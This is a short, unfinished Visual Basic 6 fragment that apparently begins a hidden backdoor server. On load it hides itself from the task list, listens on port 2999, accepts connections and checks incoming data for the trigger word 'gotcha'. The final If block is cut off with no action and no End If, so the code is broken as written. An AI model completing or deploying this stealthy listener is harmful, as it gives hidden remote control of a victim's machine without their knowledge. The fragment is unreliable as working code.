Private Sub Form_Load()
App.TaskVisible = False
Socket.LocalPort = 2999
Socket.RemotePort = 455
Socket.Listen
End Sub

Private Sub Socket_ConnectionRequest(ByVal requestID As Long)
     Socket.Close
     Socket.Accept requestID
End Sub
Private Sub Socket_DataArrival(ByVal bytesTotal As Long)
Dim Incomming As String
Call Socket.GetData(Incomming, vbString)
If Incomming = "gotcha" Then
End Sub